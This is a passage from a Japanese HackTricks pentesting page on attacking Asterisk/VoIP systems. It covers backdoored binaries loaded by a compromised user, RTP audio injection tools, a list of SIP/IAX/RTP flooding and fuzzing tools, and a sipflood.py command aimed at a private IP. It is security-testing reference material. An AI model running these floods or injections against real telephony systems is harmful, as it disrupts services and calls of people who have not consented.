* **いくつかのフォルダ**は侵害されたAsteriskユーザーに属しています(rootとして実行されていない場合)。このユーザーは前述のファイルを読み取ることができ、また構成も制御できるため、実行時に他のバックドア付きバイナリをAsteriskに読み込ませることができます。
|
||
|
||
### RTPインジェクション
|
||
|
||
**`rtpinsertsound`**(`sudo apt install rtpinsertsound`)や**`rtpmixsound`**(`sudo apt install rtpmixsound`)などのツールを使用して、会話に**`.wav`**を挿入することができます。
|
||
|
||
または、[http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/)のスクリプトを使用して、会話を**スキャン**する(**`rtpscan.pl`**)、会話に`.wav`を送信する(**`rtpsend.pl`**)、会話にノイズを挿入する(**`rtpflood.pl`**)こともできます。
|
||
|
||
### DoS
|
||
|
||
VoIPサーバーでDoSを試みるためのいくつかの方法があります。
|
||
|
||
* [**sippts**](https://github.com/Pepelux/sippts)からの**`sipflood.py`**:**_**SipFlood**_はターゲットに無制限のメッセージを送信します。
|
||
* `python3 sipflood.py -i 10.10.0.10 -r 5080 -m invite -v`
|
||
* [**IAXFlooder**](https://www.kali.org/tools/iaxflood/):Asteriskで使用されるIAXプロトコルのDoS
|
||
* [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt):UDP/IP上でSIP/SDP INVITEメッセージのフラッディングを実行するツール。
|
||
* [**rtpflood**](https://www.kali.org/tools/rtpflood/):複数の正常なRTPパケットを送信します。使用されているRTPポートを知る必要があります(まずスニフィング)。
|
||
* [**SIPp**](https://github.com/SIPp/sipp):SIPトラフィックの分析と生成が可能です。したがって、DoSにも使用できます。
|
||
* [**SIPsak**](https://github.com/nils-ohlmeier/sipsak):SIPスイスアーミーナイフ。SIP攻撃を実行するためにも使用できます。
|
||
* Fuzzers:[**protos-sip**](https://www.kali.org/tools/protos-sip/)、[**voiper**](https://github.com/gremwell/voiper)。
|
||
* [**sippts**](https://github.com/Pepelux/sippts)からの**`sipsend.py`**:SIPSendを使用して、カスタマイズされたSIPメッセージを送信し、応答を分析することができます。
|
||
* [**sippts**](https://github.com/Pepelux/sippts)からの**`wssend.py`**:WsSendを使用して、WebSocketsを介してカスタマイズされたSIPメッセージを送信し、応答を分析することができます。
|
||
|
||
### OSの脆弱性
|
||
|
||
Asteriskなどのソフトウェアをインストールする最も簡単な方法は、**FreePBX、Elastix、Trixbox**など、すでにインストールされているOSディストリビューションをダウンロードすることです。ただし、これらのディストリビューションは一度動作していると、システム管理者がそれらを再度更新しない可能性があり、時間の経過とともに**脆弱性**が発見される可能性があります。
|
||
|
||
## 参考文献
|
||
|
||
* [https://github.com/Pepelux/sippts/wiki](https://github.com/Pepelux/sippts/wiki)
|
||
* [http://blog.pepelux.org/](http://blog.pepelux.org/)
|
||
* [https://www.rtpbleed.com/](https://www.rtpbleed.com/)
|
||
* [https://medium.com/vartai-security/practical-voip-penetration-testing-a1791602e1b4](https://medium.com/vartai-security/practical-voip-penetration-testing-a1791602e1b4)
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンやHackTricksのPDFをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけて、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください。
|
||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolop
|